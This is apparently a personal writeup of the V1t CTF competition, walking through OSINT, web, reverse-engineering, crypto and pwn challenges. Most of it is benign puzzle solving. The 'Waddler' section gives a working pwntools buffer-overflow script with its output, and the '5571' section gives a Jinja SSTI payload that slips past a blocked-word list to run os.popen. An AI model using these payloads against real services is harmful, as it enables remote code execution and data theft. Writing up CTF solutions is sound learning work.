This year i decided to participate in more CTFs, the first one is the V1t CTF, this is my writeup The website was down, seems like too many people were trying at the same time lol

the hosters were students from vietnam, they were very nice about it
Among USniversity
Once it was kinda online again i started the OSINT ones as it was the thing i was best at 
This was the image i was provided with: 
I reverse image searched the image and found it was Ho Chi Minh City University of Information Technology - HCMUT(Based btw) that means the flag is v1t{UIT}

Nice 100 more points
Duck Company

This was the input: 
Again the solution was a simple reverse image search, this led me to www.dcuk.com
so the flag is: v1t{dcuk.com}
Another solved one(For some reason said already solved): 
Snowflake

the input was:
my first instict was to see the metadata but there was nothing, i then saw the numbers on the pole in the photo, i found out it was somewhere in Hokkaido, Japan, possibly Sapporo, Asahikawa, or similar. i wasnt able to solve this
The Forgotten Inventory
This is an interesting one, so i googled "CSV" "military equipment" "2007" "Operation Iraqi Freedom" and found this on the wikileaks website:
...
From: "Hoskins, David J CW2 MIL USA FORSCOM" [email protected]>
...
and we have the email: [email protected] so the flag should be v1t{[email protected]} Another one solved(Again said already solved, no idea why):

Login Panel
So i go to the url: https://tommytheduck.github.io/login and i inspect element and i see this code:
async function toHex(buffer) {
const bytes = new Uint8Array(buffer);
let hex = '';
for (let i = 0; i < bytes.length; i++) {
hex += bytes[i].toString(16).padStart(2, '0');
}
return hex;
}
async function sha256Hex(str) {
const enc = new TextEncoder();
const data = enc.encode(str);
const digest = await crypto.subtle.digest('SHA-256', data);
return toHex(digest);
}
function timingSafeEqualHex(a, b) {
if (a.length !== b.length) return false;
let diff = 0;
for (let i = 0; i < a.length; i++) {
diff |= a.charCodeAt(i) ^ b.charCodeAt(i);
}
return diff === 0;
}
(async () => {
const ajnsdjkamsf = 'ba773c013e5c07e8831bdb2f1cee06f349ea1da550ef4766f5e7f7ec842d836e'; // replace
const lanfffiewnu = '48d2a5bbcf422ccd1b69e2a82fb90bafb52384953e77e304bef856084be052b6'; // replace
const username = prompt('Enter username:');
const password = prompt('Enter password:');
if (username === null || password === null) {
alert('Missing username or password');
return;
}
const uHash = await sha256Hex(username);
const pHash = await sha256Hex(password);
if (timingSafeEqualHex(uHash, ajnsdjkamsf) && timingSafeEqualHex(pHash, lanfffiewnu)) {
alert(username + '{' + password + '}');
} else {
alert('Invalid credentials');
}
})();
and i quickly see:
const ajnsdjkamsf = 'ba773c013e5c07e8831bdb2f1cee06f349ea1da550ef4766f5e7f7ec842d836e'; // replace
const lanfffiewnu = '48d2a5bbcf422ccd1b69e2a82fb90bafb52384953e77e304bef856084be052b6'; // replace
which seems to be username and password, i quickly opened hashcat and cracked them, this is the output | Hash | Result | |----------------------------------------------------------------------|----------| | ba773c013e5c07e8831bdb2f1cee06f349ea1da550ef4766f5e7f7ec842d836e | v1t | | 48d2a5bbcf422ccd1b69e2a82fb90bafb52384953e77e304bef856084be052b6 | p4ssw0rd |
so the flag is v1t{p4ssw0rd} and another one solved 
Stylish Flag
so same thing i go to the url and i see this:
i check the html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Stylish Flag</title>
<link rel="stylesheet" href="csss.css">
</head>
<body>
<h1>where is the flag ;-;</h1>
<br>
<div hidden class="flag"></div>
</body>
</html>
and nothing, but i see a stylesheet, should be there and i see this:
.flag {
width: 8px;
height: 8px;
background: #0f0;
transform: rotate(180deg);
opacity: 0.05;
box-shadow:
264px 0px #0f0,
1200px 0px #0f0,
...
1192px 64px #0f0,
1200px 64px #0f0;
}
It was hidden: The
divhad thehiddenattribute in the HTML.It was invisible: The CSS set
opacity: 0.05, making it 95% transparent.It was upside down: The
transform: rotate(180deg)rule flipped the entire thing.
Time to pop open the F12 Developer Tools and reverse these tricks.
First, I went to the Elements panel, found the
<div hidden class="flag"></div>, and just deleted thehiddenattribute.The element was there now, but still invisible. So, I clicked on it and went to the Styles panel.
I found the
.flagstyle rule and unticked the box fortransform: rotate(180deg). This flipped it right-side up.Finally, I clicked on
opacity: 0.05and just changed the0.05to1. then i saw this:
which is V1T{H1D30UT_CSS}but i spent 5 minutes trying difference combinations
Another one down: 
Tiny Flag
I opened the website and didnt find much, thank god firefox has big favicons, i noticed that it looks like this:
and the flag is: V1T{T1NY_ICO}
another one down: 
Mark The Lyrics
I looked at the HTML and noticed the <mark> elements inside the html
Verse 1:
<mark>V</mark>erse <mark>1</mark>: Sơn Tùng M-<mark>T</mark>P-> V1TPre-Chorus:
<mark>{</mark>Pre-Chorus: Sơn Tùng M-TP}-> {Chorus:
{Chorus: RPT <mark>MCK</mark>, Sơn Tùng M-TP}-> MCKVerse 2:
pap<mark>-pap-</mark>pap-papandNháy mắt <mark>cool</mark> cool-> -pap-coolChorus:
Ooh<mark>-ooh-</mark>ooh-oohandYeah, <mark>yeah</mark>, yeah-> -ooh-yeahOutro:
{Outro: Sơn Tùng M-TP, RPT MCK, RPT TC<mark>}</mark>}-> } the flag is:V1T{MCK-pap-cool-ooh-yeah}
And another one down: 
Now to the reverse engineering ones, i opened my favourite CIA backdoor: Ghidra
Snail Delivery
The flag is the content of the dynamically allocated buffer local_40.
1. Identifying the Validation Check
The core logic lies in the final while loop, which performs an XOR-based validation against a hardcoded ciphertext:
while (true) {
sVar3 = strlen((char *)(local_178 + 0x30));
if (sVar3 <= local_30) break;
if (((int)(char)local_178[local_30 + 0x30] ^ (uint)local_178[local_30 % 6 + 0x27]) !=
(uint)local_178[local_30]) {
local_24 = 0;
break;
}
local_30 = local_30 + 1;
}
This logic means:
Input[i] XOR Key2[i mod 6] = Ciphertext[i]
To find the required input, we reverse it:
Input[i] = Ciphertext[i] XOR Key2[i mod 6]
2. Extracting the Ciphertext and Validation Key (Key2)
The Ciphertext is the hardcoded array local_178[0] to local_178[0x26] (39 bytes total):
| Index | 0x00 | 0x01 | 0x02 | 0x03 | … | 0x25 | 0x26 |
|---|---|---|---|---|---|---|---|
| Value | 0x65 | 0x74 | 0x0c | 0xd1 | … | 0x38 | 0x00 |
The Validation Key (Key2) is a 6-byte rotating key at local_178[0x27] to local_178[0x2c]:
| Index | 0x27 | 0x28 | 0x29 | 0x2a | 0x2b | 0x2c |
|---|---|---|---|---|---|---|
| Value | 0x12 | 0x45 | 0x78 | 0xab | 0xcd | 0xef |
3. Decrypting the Required Input
We perform the XOR operation for all 39 bytes to find the exact input required to pass the check.
4. Identifying the Flag Generation Logic
If the input is correct, the code generates the flag in the local_40 buffer:
for (local_20 = 0; local_20 < local_38; local_20 = local_20 + 1) {
*(byte *)(local_20 + (long)local_40) =
local_178[local_20 + 0x30] ^ local_178[local_20 % 3 + 0x2d];
}
This second XOR operation defines the final flag:
Flag[i] = Input[i] XOR Key1[i mod 3]
Determining the Flag Key (Key1)
The 3-byte Flag Key (Key1) is defined by the variable local_c after the “snail” animation loop:
local_c = 1;
for (local_10 = 0; local_10 < 0x10; local_10 = local_10 + 1) {
local_c = local_c << 1;
}
// After 16 iterations: local_c = 1 * 2^16 = 0x10000
local_178[0x2d] = (byte)(local_c >> 0x10); // 0x01
local_178[0x2e] = (byte)(local_c >> 8); // 0x00
local_178[0x2f] = (byte)local_c; // 0x00
So the Flag Key is:
Key1 = [0x01, 0x00, 0x00]
5. Final Flag Calculation
Finally, we XOR the input with the 3-byte rotating key Key1.
This means characters at positions 0, 3, 6, 9, … are XORed with 0x01.
Python code:
# Keys and Ciphertext
ciphertext_bytes = [0x65, 0x74, 0x0c, 0xd1, 0xbe, 0x81, 0x27, 0x2c, 0x14, 0xf5,
0xa9, 0xdc, 0x7f, 0x74, 0x0e, 0x99, 0xbf, 0x96, 0x4c, 0x36,
0x14, 0x9a, 0xba, 0xb0, 0x27, 0x23, 0x27, 0x99, 0xfb, 0xdb,
0x21, 0x75, 0x4f, 0x9c, 0xff, 0x8e, 0x71, 0x38, 0x00]
key_2 = [0x12, 0x45, 0x78, 0xab, 0xcd, 0xef]
key_1 = [0x01, 0x00, 0x00]
# Step 1: Find the required Input
input_bytes = [ciphertext_bytes[i] ^ key_2[i % 6] for i in range(len(ciphertext_bytes))]
# Required Input (for reference): w1tzsn5i2f7c0vP=yR!g=A4f2f;W&j-7u-8x
# Step 2: Calculate the Flag
flag_bytes = [input_bytes[i] ^ key_1[i % 3] for i in range(len(input_bytes))]
flag = bytes(flag_bytes).decode('latin-1')
print("The Flag is:", flag)
Output:
The Flag is: v1t{sn4il_d3l1v3ry_sl0w_4f_36420762ab}
✅ Final Flag: v1t{sn4il_d3l1v3ry_sl0w_4f_36420762ab}

Optimus

This challenge builds the flag by extracting characters from the string "0ov13tc{9zxpdr6na13m6a73534th5a}" using prime-numbered indices.
Code Overview
The decompiled function main() starts by storing the challenge string and then counts how many indices in it are prime. This count determines the expected flag length.
local_28 = "0ov13tc{9zxpdr6na13m6a73534th5a}";
sVar2 = strlen(local_28);
local_c = 0;
for (local_10 = 0; local_10 < sVar2; local_10++) {
if (is_prime(local_10)) {
local_c++;
}
}
Once the number of prime indices is known, the program prompts the user to input a flag and removes any trailing newline or carriage return characters.
printf("Input flag: ");
fgets(local_138, 0x100, stdin);
while (local_18 != 0 && (local_138[local_18 - 1] == '\n' || local_138[local_18 - 1] == '\r')) {
local_138[local_18 - 1] = '\0';
local_18 = strlen(local_138);
}
Flag Validation Logic
The code then checks two things:
- The input length equals the number of prime indices.
- Each character matches the corresponding character from the original string at each prime position.
if (local_c == strlen(local_138)) {
local_1c = 0;
for (local_20 = 0; local_20 < sVar2; local_20++) {
if (is_prime(local_20)) {
if (local_138[local_1c] != local_28[local_20]) {
puts("WRONG FLAG");
return 1;
}
local_1c++;
}
}
puts("FLAG OK QUACK");
} else {
puts("WRONG FLAG");
}
Prime Index Extraction
The string length is 32 characters (indices 0–31). Prime indices within that range:
2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31
Extracting these characters:
| Index | Character |
|---|---|
| 2 | v |
| 3 | 1 |
| 5 | t |
| 7 | { |
| 11 | p |
| 13 | r |
| 17 | 1 |
| 19 | m |
| 23 | 3 |
| 29 | 5 |
| 31 | } |
Recreating the Logic in Python
To verify the result, we can replicate the logic in a short Python script:
def is_prime(n):
return n > 1 and all(n % i for i in range(2, int(n**0.5) + 1))
s = "0ov13tc{9zxpdr6na13m6a73534th5a}"
flag = ''.join(s[i] for i in range(len(s)) if is_prime(i))
print(flag)
Output:
v1t{pr1m35}
✅ Final Flag: v1t{pr1m35} and another one down: 
Bad Reverser

I opened the binary in Ghidra and tracked the input/VM flow. The program expects an 11-byte flag and validates it via a tiny VM that executes a 41-byte bytecode blob which is XOR-obfuscated by a single-byte key derived from the input.
High-level behavior
Reads up to
0x80bytes into a buffer and strips the trailing newline.Requires
strlen(input) == 0xb(11 bytes).Compares the first 4 bytes of input (as a little-endian 32-bit value) to
0x7b743176. Interpreting that constant as ASCII gives the prefixv1t{(i.e. the flag begins withv1t{).Anti-debug/timing checks:
- Calls
ptrace(PTRACE_TRACEME). - Records
clock_gettime, spins a tight loop, recordsclock_gettimeagain and rejects if the measured interval is too large. - Installs a signal handler (
signal(5, FUN_00101540)).
- Calls
Calls
b = FUN_00101550(&buf, 0xf9)— this returns a single byte derived from the input (used as a dynamic key).Builds the VM bytecode buffer
local_118by XORing the static data blobDAT_00102040with a transformedb:for (i = 0; i != 0x29; i++) local_118[i] = DAT_00102040[i] ^ b ^ 0xa3 ^ 0xaa;Executes a small VM over
local_118(41 bytes). The VM supports operations such as push, conditional compare, xor-with-FUN_00101550(...,0x5a), etc. If the VM runs to completion with the expected checks satisfied, the program printsCorrect quack!.
Relevant code excerpts
Input and checks (clearly shows the prefix check and length check):
pcVar5 = fgets((char *)&local_98, 0x80, stdin);
if (pcVar5 == NULL) goto wrong;
sVar6 = strcspn((char *)&local_98, "\n");
((char *)&local_98)[sVar6] = 0;
if (strlen((char *)&local_98) != 0xb) goto wrong;
if (local_98 != 0x7b743176) goto wrong; // little-endian comparison -> 'v','1','t','{'
Anti-debug / timing / signal handler:
*piVar7 = 0;
lVar9 = ptrace(PTRACE_TRACEME,0,0,0);
if ((lVar9 == -1) && (*piVar7 != 0)) goto wrong;
clock_gettime(1, local_118);
local_124 = 0;
do local_124++; while (local_124 < 500000);
clock_gettime(1, &local_e8);
if (500000000 < ((local_e8.tv_sec - local_118[0].tv_sec) * 1000000000 + local_e8.tv_nsec) - local_118[0].tv_nsec)
goto wrong;
signal(5, FUN_00101540);
Bytecode construction:
bVar3 = FUN_00101550(&local_98, 0xf9);
for (lVar9 = 0; lVar9 != 0x29; lVar9++) {
((byte *)&local_118[0].tv_sec)[lVar9] = (&DAT_00102040)[lVar9] ^ bVar3 ^ 0xa3 ^ 0xaa;
}
Portions of the VM loop (showing push/compare/xor semantics):
do {
cVar2 = *(char *)((long)&local_118[0].tv_sec + lVar9); // current opcode
if (cVar2 == '\x01') { /* ... */ } // maybe noop/terminate check
else if (cVar2 == '\x02') {
if (0 < local_a8) {
iVar4 = local_a8 - 1;
bVar3 = FUN_00101550(&local_98, 0x5a); // produces a mask 'k'
puVar1 = (uint *)((long)&local_e8.tv_sec + (long)iVar4 * 4);
*puVar1 = *puVar1 ^ (uint)bVar3; // xor top-of-stack with k
}
}
else if (cVar2 == '\x03') {
if ((uVar10 != 0x29) && (0 < local_a8)) {
local_a8--;
if ((int)*(char *)((long)&local_98 + (ulong)*(byte *)((long)&local_118[0].tv_sec + (long)(int)uVar10) + 3)
== (uint)*(byte *)((long)&local_e8.tv_sec + (long)local_a8 * 4))
goto continue_loop;
}
}
else if (cVar2 == -1) {
if (DAT_0010406c == 0) {
puts("Correct quack!");
return 0;
}
}
/* ... bytecode push: read immediate byte and push it onto stack ... */
} while (true);
- The VM stores 32-bit values on a small stack (
local_e8region). - The
\x03opcode performs a comparison between an input byte (offset by 3) and the stack top (after any XORs). - Execution falls back to a failure path labeled
LAB_00101316when checks/timing fail. - The 41-byte data blob
DAT_00102040is static in the binary. The VM bytecodelocal_118is just that blob XORed with a single-bytekey = b ^ 0xa3 ^ 0xaa, wherebis returned byFUN_00101550(&buf, 0xf9)(dependent on the provided input). - The VM itself contains deterministic push/compare/xor operations that translate to explicit equality constraints on specific flag bytes (mostly:
flag[pos] == constant ^ kafter accounting for the produced XOR maskkfromFUN_00101550(...,0x5a)). - Therefore, once you recover
DAT_00102040and determineb(or try all 256 possibilities), you can decrypt the VM, parse the instruction stream, and derive exact values for the remaining flag bytes.
exploitation steps
Dump the static data
DAT_00102040(41 bytes) from the binary withrabin2 -s,objdump -s,r2, or a hex editor.Recover or brute-force the single byte
breturned byFUN_00101550(&buf, 0xf9):- Either call the function under GDB/pwntools/ctypes to get
bfor your input, or brute forcebfrom0..255and check which yields a consistent, parseable VM and consistent flag bytes.
- Either call the function under GDB/pwntools/ctypes to get
Compute
key = b ^ 0xa3 ^ 0xaa.Decode the bytecode:
local_118[i] = DAT_00102040[i] ^ keyforiin0..0x28.Parse the decoded bytecode to recover the immediate values pushed to the VM stack and the order of compare operations. Identify the XOR mask
k = FUN_00101550(...,0x5a)used by opcode0x02.From each compare opcode, read the comparison index into the input and the expected value on the stack; compute corresponding flag bytes as
flag[pos] = X ^ k(or the appropriate expression derived from the VM).Verify the full 11-byte result by running the binary and supplying it; success prints
Correct quack!.
Decoding
I dumped the static blob and used a small script to try values of b. For the dumped DAT_00102040:
dat = [
0x04,0xd1,0x07,0x06,0x05,0x04,0xc7,0x07,0x06,0x04,0x04,0xd3,0x07,0x06,0x07,0x04,
0xf5,0x07,0x06,0x06,0x04,0xc8,0x07,0x06,0x01,0x04,0x9e,0x07,0x06,0x00,0x04,0xee,
0x07,0x06,0x03,0x04,0xd7,0x07,0x06,0x02,0xfa
]
I found:
b = 0x0ckey = b ^ 0xa3 ^ 0xaa = 0x05- The VM's
k(fromFUN_00101550(...,0x5a)) was observed to be0xafin my environment.
Decoding:
local = [x ^ key for x in dat] # the VM bytecode
X = [local[i+1] for i in range(0, 40, 5)] # second byte of each 5-byte block are the pushed immediates
# build flag (first 4 bytes are 'v','1','t','{')
flag_bytes = [ord('v'), ord('1'), ord('t'), ord('{')]
for x in X:
flag_bytes.append(x ^ k)
flag = bytes(flag_bytes[:11])
print(flag.decode())
This yields:
v1t{my_b4D}
So the final flag I obtained is: v1t{my_b4D}.

Shamir's Duck

I downloaded the file and it contained:
Bob-ef73fe834623128e6f43cc923927b33350314b0d08eeb386
Sang-2c17367ded0cd22e15220a2b2a6cede16e2ed64d1898bbad
Khoi-e05fd9646ff27414510dec2e46032469cd60d632606c8181
Long-0c4de736ced3f8412307729b8bea56cc6dc74abce06a0373
Dung-afe15ff509b15eb48b0e9d72fc2285094f6233ec98914312
Steve-cb1a439f208aa76e89236cb496abaf20723191c188e23f54
🔹 Step 1 – Extract the shares
Each participant’s hex string is a share value y_i. The x-values are implicit and go from 1 to 6:
s = [
"ef73fe834623128e6f43cc923927b33350314b0d08eeb386",
"2c17367ded0cd22e15220a2b2a6cede16e2ed64d1898bbad",
"e05fd9646ff27414510dec2e46032469cd60d632606c8181",
"0c4de736ced3f8412307729b8bea56cc6dc74abce06a0373",
"afe15ff509b15eb48b0e9d72fc2285094f6233ec98914312",
"cb1a439f208aa76e89236cb496abaf20723191c188e23f54"
]
y = [int(x, 16) for x in s]
🔹 Step 2 – Interpolate with 3 shares
We’re using a threshold of k = 3, so only three shares are needed to reconstruct the secret.
The Lagrange interpolation formula gives the secret (the polynomial evaluated at x = 0). If we use shares #1, #3, and #4, the coefficients simplify to:
f(0) = 2*y1 - 2*y3 + y4
So in Python:
f = 2*y[0] - 2*y[2] + y[3]
🔹 Step 3 – Recover bytes & decode
Now convert f(0) to bytes and interpret it as UTF-8 text:
b = f.to_bytes((f.bit_length() + 7) // 8, 'big')
print(b.decode('utf-8', 'ignore'))
Full code:
s = [
"ef73fe834623128e6f43cc923927b33350314b0d08eeb386",
"2c17367ded0cd22e15220a2b2a6cede16e2ed64d1898bbad",
"e05fd9646ff27414510dec2e46032469cd60d632606c8181",
"0c4de736ced3f8412307729b8bea56cc6dc74abce06a0373",
"afe15ff509b15eb48b0e9d72fc2285094f6233ec98914312",
"cb1a439f208aa76e89236cb496abaf20723191c188e23f54"
]
y = [int(x, 16) for x in s]
f = 2*y[0] - 2*y[2] + y[3] # use shares 1, 3, 4
b = f.to_bytes((f.bit_length() + 7)//8 or 1, 'big')
t = b.decode('utf-8', 'ignore')
i, j = t.find('{'), t.find('}')
print((t[i-1:j+1] if i > 0 and j > i else t).strip())
The flag is:
v1t{555_s3cr3t_sh4r1ng}
And another one bites the dust! 
Lost Some Binary
This gave me this input:
01001000 01101001 01101001 01101001 00100000 ......
it was obviously binary data, so i quickly converted it to text using python
import re
def b2t(b: str) -> str:
return "".join(chr(int(c, 2)) for c in re.findall(r'[01]{8}', b.strip()))
b = "01001000 01101001 01101001 01101001 00100000 01101101 01100001 01101110 00101100 01101000 01101111 01110111 00100000 01110010 00100000 01110101 00100000 00111111 01001001 01110011 00100000 01101001 01110100 00100000 00111010 00101001 00101001 00101001 00101001 01010010 01100001 01110111 01110010 00101101 01011110 01011110 01011011 01011101 00100000 00100000 01001100 01010011 01000010 01111011 00111110 00111100 01111101 00100001 01001100 01010011 01000010 01111110 01111110 01001100 01010011 01000010 01111110 01111110 00101101 00101101 00101101 01110110 00110001 01110100 00100000 00100000 01111011 00110001 00110013 00110101 00111001 00110000 00110000 01011111 00110001 00110011 00110011 00110111 00110000 01111101"
print(b2t(b))
The output was:
Hiii man,how r u ?Is it :))))Rawr-^^[] LSB{><}!LSB~~LSB~~---v1t {15900_13370}
and weve got another flag: v1t{15900_13370} (For some reason didnt work tho...)
Waddler

Connecting to chall.v1t.site accepts any string then prints The Ducks are coming! i decompiled the provided binary:
undefined8 main(void) {
char local_48 [64];
puts("The Ducks are coming!");
fgets(local_48,0x50,stdin);
return 0;
}
then i found the duck function
void duck(void) {
char *pcVar1;
undefined8 uStack_120;
char local_118 [256];
size_t local_18;
FILE *local_10;
uStack_120 = 0x4012b4;
local_10 = fopen("flag.txt","r");
if (local_10 == (FILE *)0x0) {
uStack_120 = 0x4012ce;
puts("flag file not found");
uStack_120 = 0x4012d8;
FUN_00401140(1);
}
uStack_120 = 0x4012f0;
pcVar1 = fgets(local_118,0x100,local_10);
if (pcVar1 == (char *)0x0) {
uStack_120 = 0x401304;
puts("failed to read flag");
uStack_120 = 0x401310;
fclose(local_10);
uStack_120 = 0x40131a;
FUN_00401140(1);
}
uStack_120 = 0x401326;
fclose(local_10);
uStack_120 = 0x401335;
local_18 = strlen(local_118);
if ((local_18 != 0) && (local_118[local_18 - 1] == '\n')) {
local_118[local_18 - 1] = '\0';
}
uStack_120 = 0x401382;
printf("FLAG: %s\n",local_118);
return;
}
i found it starts at 0040128c so just a binary overflow via fgets(local_48,0x50)
from pwn import *
conn = remote("chall.v1t.site", 30210)
offset = 64
DUCK_ADDR = 0x40128c
payload = b"A"*offset + b"B"*8 + p64(DUCK_ADDR)
conn.sendline(payload)
print(conn.recvall(timeout=2).decode())
conn.close()
and this outputs:
[+] Opening connection to chall.v1t.site on port 30210: Done
The Ducks are coming!
[+] Receiving all data: Done (58B)
[*] Closed connection to chall.v1t.site port 30210
FLAG: v1t{w4ddl3r_3x1t5_4e4d6c332b6fe62a63afe56171fd3725}
and weve got another flag: v1t{w4ddl3r_3x1t5_4e4d6c332b6fe62a63afe56171fd3725}
and another one down: 
But im writing this one at 12am, so im gonna sleep and continue tmrw I finished day 1 at 161th place with 720 points, im p proud 
Day 2
Discord
It was day 2 i wanted to start with something easier, i noticed that the channels in the discord had these:
which when copied look like this:
:v0::v1::v1::v1::v0::v1::v1::v0::v0::v0::v1::v1::v0::v0::v0::v1::v0::v1::v1::v1::v0::v1::v0::v0::v0::v1::v1::v1::v1::v0::v1::v1::v0::v1::v1::v0::v0::v1::v0::v0:
so i got all of them: announcements:
:v0::v1::v1::v1::v0::v1::v1::v0::v0::v0::v1::v1::v0::v0::v0::v1::v0::v1::v1::v1::v0::v1::v0::v0::v0::v1::v1::v1::v1::v0::v1::v1::v0::v1::v1::v0::v0::v1::v0::v0:
updates:
:v0::v0::v1::v1::v0::v0::v0::v1::v0::v0::v1::v1::v0::v1::v0::v1::v0::v0::v1::v1::v0::v1::v0::v1::v0::v1::v1::v0::v0::v0::v1::v1:
ticket:
:v0::v0::v1::v1::v0::v0::v0::v0::v0::v1::v1::v1::v0::v0::v1::v0::v0::v1::v1::v0::v0::v1::v0::v0::v0::v1::v1::v1::v1::v1::v0::v1:
and finally i merged them together
:v0::v1::v1::v1::v0::v1::v1::v0::v0::v0::v1::v1::v0::v0::v0::v1::v0::v1::v1::v1::v0::v1::v0::v0::v0::v1::v1::v1::v1::v0::v1::v1::v0::v1::v1::v0::v0::v1::v0::v0::v0::v0::v1::v1::v0::v0::v0::v1::v0::v0::v1::v1::v0::v1::v0::v1::v0::v0::v1::v1::v0::v1::v0::v1::v0::v1::v1::v0::v0::v0::v1::v1::v0::v0::v1::v1::v0::v0::v0::v0::v0::v1::v1::v1::v0::v0::v1::v0::v0::v1::v1::v0::v0::v1::v0::v0::v0::v1::v1::v1::v1::v1::v0::v1:
and converted it to text using this
def v_sequence_to_string(v_sequence):
# Replace :v0: with 0 and :v1: with 1
binary_str = v_sequence.replace(":v0:", "0").replace(":v1:", "1")
# Remove any non-binary characters (like extra colons)
binary_str = ''.join(c for c in binary_str if c in "01")
# Split into 8-bit chunks and convert to ASCII
result = ''.join(chr(int(binary_str[i:i+8], 2))
for i in range(0, len(binary_str) - len(binary_str)%8, 8))
return result
v_sequence = ":v0::v1::v1::v1::v0::v1::v1::v0::v0::v0::v1::v1::v0::v0::v0::v1::v0::v1::v1::v1::v0::v1::v0::v0::v0::v1::v1::v1::v1::v0::v1::v1::v0::v1::v1::v0::v0::v1::v0::v0::v0::v0::v1::v1::v0::v0::v0::v1::v0::v0::v1::v1::v0::v1::v0::v1::v0::v0::v1::v1::v0::v1::v0::v1::v0::v1::v1::v0::v0::v0::v1::v1::v0::v0::v1::v1::v0::v0::v0::v0::v0::v1::v1::v1::v0::v0::v1::v0::v0::v1::v1::v0::v0::v1::v0::v0::v0::v1::v1::v1::v1::v1::v0::v1:"
decoded_string = v_sequence_to_string(v_sequence)
print(decoded_string)
output:
v1t{d155c0rd}
and we have another flag
5571

This challenge was down, so I contacted the organizers to fix it:

I saw this in the HTML:
<!--
Remember to block potentially dangerous literals in the backend!
BLOCKED_LITERALS = [
'{', '}', '__', 'open', 'os', 'subprocess', 'import', 'eval', 'exec',
'system', 'popen', 'builtins', 'globals', 'locals', 'getattr', 'setattr',
'class', 'compile', 'inspect'
]
-->
Testing with %7B%7B 7*6 %7D%7D → 42 confirmed SSTI.
Accessing {{ config }} reveals the configuration, including the BLOCKED_LITERALS list.
Using string concatenation with config.BLOCKED_LITERALS, we can dynamically construct blocked strings without directly using them. For example:
config.BLOCKED_LITERALS[12]is"globals", so"__globals__"is built as"_" + "_" + config.BLOCKED_LITERALS[12] + "_" + "_".config.BLOCKED_LITERALS[4]is"os", andconfig.BLOCKED_LITERALS[10]is"popen".
To read flag.txt, the following payload executes cat flag.txt:
{{ (lipsum|attr("_"~"_"~config.BLOCKED_LITERALS[12]~"_"~"_"))[config.BLOCKED_LITERALS[4]]|attr(config.BLOCKED_LITERALS[10])("cat flag.txt")|attr("read")() }}
This payload:
Accesses
lipsum.__globals__.Retrieves the
osmodule.Calls
os.popen("cat flag.txt").Reads the output with
read().
So I encoded and rendered this:
%7B%7B%20%28lipsum%7Cattr%28%22_%22%7E%22_%22%7Econfig.BLOCKED_LITERALS%5B12%5D%7E%22_%22%7E%22_%22%29%29%5Bconfig.BLOCKED_LITERALS%5B4%5D%5D%7Cattr%28config.BLOCKED_LITERALS%5B10%5D%29%28%22cat%20flag.txt%22%29%7Cattr%28%22read%22%29%28%29%20%7D%7D

The flag is: v1t{n0th1ng_b34ts_url_ssti_9cfac8e6b8978e3f6037d9608fed7767}
Another challenge was down:

The end
i finished at 323rd place with 1450 points 
The CTF was alot of fun and im gonna try to do more CTFs this year. Expect more writeups.